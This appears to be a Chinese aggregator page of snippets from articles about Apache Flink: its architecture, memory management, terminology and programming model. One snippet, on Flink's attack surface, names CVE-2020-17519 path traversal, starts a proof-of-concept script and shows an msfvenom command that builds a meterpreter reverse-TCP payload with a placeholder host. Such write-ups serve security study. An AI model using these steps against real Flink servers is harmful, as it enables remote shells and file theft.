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    Apache Flink快速入门-什么是Apache Flink

    Apache Flink简介 Apache Flink一款处理数据流的流行框架及分布式处理引擎，用于对无边界和有边界数据流上进行有状态的计算。...Apache Flink 由 Data Artisans 公司创立，现在由 Apache Flink 社区在 Apache License 下开发。  ...Flink 架构的重要方面 Apache Flink 擅长处理无界和有界数据集。对时间和状态的精确控制使 Flink 的运行时能够在无界流上运行任何类型的应用程序。...Flink 通过定期和异步地将本地状态检查点到持久存储来保证在发生故障时的一次性状态一致性。 随处部署应用程序 Apache Flink 是一个分布式系统，需要计算资源才能执行应用程序。...Flink 集成了所有常见的集群资源管理器，例如Hadoop YARN、Apache Mesos和Kubernetes，但也可以设置为作为独立集群运行。

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    Apache Flink Training

    Apache Flink培训 Apache Flink是用于可扩展流和批数据处理的开源平台，它提供了富有表现力的API来定义批和流数据程序，以及一个强大的可扩展的引擎来执行这些作业。...培训的目标和范围 本培训提供了对Apache Flink的观点介绍，包括足以让您开始编写可扩展的流式ETL，分析，以及事件驱动的应用程序，同时也省去了很多细节。...重点是直接介绍Flink用于管理状态和时间的API，期望已经掌握了这些基础知识，你将能够更好的从文档中获取你需要知道的其他内容。...你会学习到以下内容： 如何搭建环境用于开发Flink程序 如何实现流数据处理管道 Flink状态管理的方式和原理 如何使用事件时间来一致地计算准确分析 如何在连续的流中建立事件驱动的应用 Flink是如何以精确一次的语义提供容错和有状态的流处理

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    Apache Flink初探

    Apache Flink的简介 Apache Flink是一个开源的针对批量数据和流数据的处理引擎，已经发展为ASF的顶级项目之一。...Apache Flink的架构 当Flink集群启动后，首先会启动一个JobManger和一个或多个的 TaskManager。...Apache Flink兼容Apache Storm 考虑到业界当前主流的流式处理引擎为Apache Storm，Flink为了更好的与业界衔接，在流处理上对Storm是做了兼容，通过复用代码的方式即可实现...1、先来对比一下Apache Flink 与Apache Storm的异同： 与Apache Storm相比，Apache Flink少了一层节点管理器，TaskManager直接由主控节点管理 在流处理这一块...，Apache Flink与Apache Storm从运行实体到任务组件，基本上能一一对应 2、由上可得，虽然两者运行实体的结构及代码有一定的差别，但归根到底两者运行的都是有向无环图（DAG），所以从Storm

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    Flink入门（一）——Apache Flink介绍

    Apache Flink是什么？ ​ 在当代数据量激增的时代，各种业务场景都有大量的业务数据产生，对于这些不断产生的数据应该如何进行有效的处理，成为当下大多数公司所面临的问题。...随着雅虎对hadoop的开源，越来越多的大数据处理技术开始涌入人们的视线，例如目前比较流行的大数据处理引擎Apache Spark,基本上已经取代了MapReduce成为当前大数据处理的标准。...lambada架构 大数据平台中包含批量计算的Batch Layer和实时计算的Speed Layer，通过在一套平台中将批计算和流计算整合在一起，例如使用Hadoop MapReduce进行批量数据的处理，使用Apache...后来随着Apache Spark的分布式内存处理框架的出现，提出了将数据切分成微批的处理模式进行流式数据处理，从而能够在一套计算框架内完成批量计算和流式计算。...像Apache Spark也只能兼顾高吞吐和高性能特性，主要因为在Spark Streaming流式计算中无法做到低延迟保障；而流式计算框架Apache Storm只能支持低延迟和高性能特性，但是无法满足高吞吐的要求

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    Apache Flink快速入门-Flink内存优化

    设置Flink 的进程内存  Apache Flink 通过严格控制其各种组件的内存使用情况，在 JVM 之上提供高效的工作负载。...配置总内存  Flink JVM 进程的总进程内存由 Flink 应用程序消耗的内存（总 Flink 内存）和 JVM 运行进程所消耗的内存组成。...在 Flink 中设置内存最简单的方法是配置以下两个选项之一： 成分 任务管理器的选项 作业管理的选项 Flink 总内存 taskmanager.memory.flink.size jobmanager.memory.flink.size...配置Flink 总内存更适合独立部署 ，在这种部署中，您要声明为 Flink 本身分配了多少内存。如果您配置总进程内存，则声明应分配给 Flink JVM 进程的内存总量。...必须使用上述三种方式中的一种来配置 Flink 的内存（本地执行除外），否则 Flink 启动将失败。

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    大数据Flink进阶（十七）：Apache Flink术语

    Apache Flink术语 Flink计算框架可以处理批数据也可以处理流式数据，Flink将批处理看成是流处理的一个特例，认为数据原本产生就是实时的数据流，这种数据叫做无界流（unbounded stream...一、Application与Job 无论处理批数据还是处理流数据我们都可以使用Flink提供好的Operator（算子）来转换处理数据，一个完整的Flink程序代码叫做一个Flink Application...一个Flink Application中可以有多个Flink Job，每次调用execute()或者executeAsyc()方法可以触发一个Flink Job ,一个Flink Application...如果是基于WebUI提交任务，我们也可以基于WebUI指定并行度： System Level(系统层面)  我们也可以直接在提交Flink任务的节点配置$FLINK_HOME/conf/flink-conf.yaml...我们在集群中提交Flink任务后，可以通过Flink WebUI中查看到形成的算子链： 那么在Flink中哪些算子操作可以合并在一起形成算子链进行优化？

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    Apache Flink的内存管理

    Flink的内存管理： Flink 并不是将大量对象存在堆上，而是将对象都序列化到一个预分配的内存块上，这个内存块叫做 MemorySegment，它代表了一段固定长度的内存（默认大小为 32KB），...也是 Flink 中最小的内存分配单元，并且提供了非常高效的读写方法。...Flink实现了自己的序列化框架，Flink处理的数据流通常是一种类型，所以可以只保存一份对象Schema信息，节省存储空间。又因为对象类型固定，所以可以通过偏移量存取。...TupleTypeInfo: 任意的 Flink Tuple 类型(支持Tuple1 to Tuple25)。Flink tuples 是固定长度固定类型的Java Tuple实现。...针对前六种类型数据集，Flink皆可以自动生成对应的TypeSerializer，能非常高效地对数据集进行序列化和反序列化。对于最后一种数据类型，Flink会使用Kryo进行序列化和反序列化。

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    Apache Flink实战(一) - 简介

    Flink ◆ Flink VS Storm VS Spark Streaming Flink概述 Apache Flink是一个框架和分布式处理引擎，用于对无界和有界数据流进行状态计算。...有界流的处理也称为批处理 [1240] Apache Flink擅长处理无界和有界数据集。精确控制时间和状态使Flink的运行时能够在无界流上运行任何类型的应用程序。...Flink通过定期和异步地将本地状态检查点到持久存储来保证在出现故障时的一次状态一致性。 [1240] 应用 Apache Flink是一个用于对无界和有界数据流进行有状态计算的框架。...5 运行多样化 5.1 随处部署应用程序 Apache Flink是一个分布式系统，需要计算资源才能执行应用程序。...] 7 Flink 使用案例 Apache Flink 功能强大，支持开发和运行多种不同种类的应用程序。

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    Apache Flink基本编程模型

    “前一篇文章中Flink数据-有界数据与无界数据>大致讲解了Apache Flink数据的形态问题。Apache Flink实现分布式集合数据集转换、抽取、分组、统计等。...Apache Flink提供可以编写流处理与批处理的程序。其中DataSet API用于批处理，DataStream API用于流式处理。...Apache Flink对于提供了不同的时间概念： ? 事件时间(创建时间的时间):类似于我们使用log输出日志的时候所打印的时间。 摄取时间：是指事件源输入到Flink的时间。...容错 Apache Flink提供了容错的机制，基于状态与检查点进行执行。该机制确保了当出现故障时系统可以退回到检查点。...Apache Flink从容错可处理上可以实现(at least once, exactly once)

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    大数据Flink进阶（八）：Apache Flink架构介绍

    Apache Flink架构介绍 一、Flink组件栈 在Flink的整个软件架构体系中，同样遵循这分层的架构设计理念，在降低系统耦合度的同时，也为上层用户构建Flink应用提供了丰富且友好的接口。...上图是Flink基本组件栈，从上图可以看出整个Flink的架构体系可以分为三层，从下往上依次是物理部署层、Runtime 核心层、API&Libraries层。...物理部署层： 该层主要涉及Flink的部署模式，目前Flink支持多种部署模式：本地Local、集群（Standalone/Yarn）、Kubernetes，Flink能够通过该层支撑不同平台的部署，用户可以根据需要来选择对应的部署模式...二、Flink运行时架构 Flink整个系统主要由两个组件组成，分别为JobManager和TaskManager，Flink架构也遵循Master-Slave架构设计原则，JobManager为Master...，其主要负责Flink集群资源分配、管理和回收。

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    大数据Flink进阶（一）：Apache Flink是什么

    一、Flink的定义Apache Flink 是一个框架和分布式处理引擎，用于在 无边界 和 有边界 数据流上进行有状态的计算。...Apache Flink 擅长处理无界和有界数据集，精确的时间控制和状态化使得 Flink 的运行时(runtime) 能够运行任何处理无界流的应用。...Flink官网：https://flink.apache.org二、Flink前身StratosphereFlink最早是德国一些大学中的研究项目，并且早期项目名称也不是Flink，在2010~2014...2014年4月，Stratosphere代码被贡献给Apache软件基金会，成为Apache基金会孵化器项目，项目孵化期间，项目Stratosphere改名为Flink。...Streaming 特性， 2014年底，Flink顺利从孵化器"毕业"成为Apache顶级项目。

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    Apache Flink攻击面探索

    Flink简介Apache Flink 是高效和分布式的通用数据处理平台，由Apache软件基金会开发的开源流处理框架，其核心是用Java和Scala编写的分布式流数据流引擎（简单来说，就是跟spark...访问8081页面，可以正常访问，说明环境正常CVE-2020-17519 上传路径遍历读取任意文件影响版本：1.11.0, 1.11.1, 1.11.2Apache Flink 1.11.0中引入的更改...org.apache.flink.runtime.rest.handler.cluster.JobManagerCustomLogHandler#getFile 代码如下如上图，filename 是直接从.../usr/bin/env python# coding:utf-8# author:B1anda0#affected versions are Apache Flink 1.11.0-1.11.2import...影响版本：Apache Flink <= 1.9.1漏洞复现1.生成反弹jar包msfvenom -p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT

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    Apache Zeppelin 中 Flink 解释器

    概述 Apache Flink是分布式流和批处理数据处理的开源平台。Flink的核心是流数据流引擎，为数据流上的分布式计算提供数据分发，通信和容错。...如何启动本地Flink群集，来测试解释器 Zeppelin配有预配置的flink-local解释器，它在您的机器上以本地模式启动Flink，因此您不需要安装任何东西。...如何测试它的工作 您可以在Zeppelin Tutorial文件夹中找到Flink使用的示例，或者尝试以下字数计数示例，方法是使用Till Rohrmann演示文稿中的Zeppelin笔记本 与Apache...Flink for Apache Flink Meetup进行交互式数据分析。...WordCount(word, 1)) // line.split(" ").map(word => WordCount(word, 1)) } val wordCounts = partialCounts.groupBy

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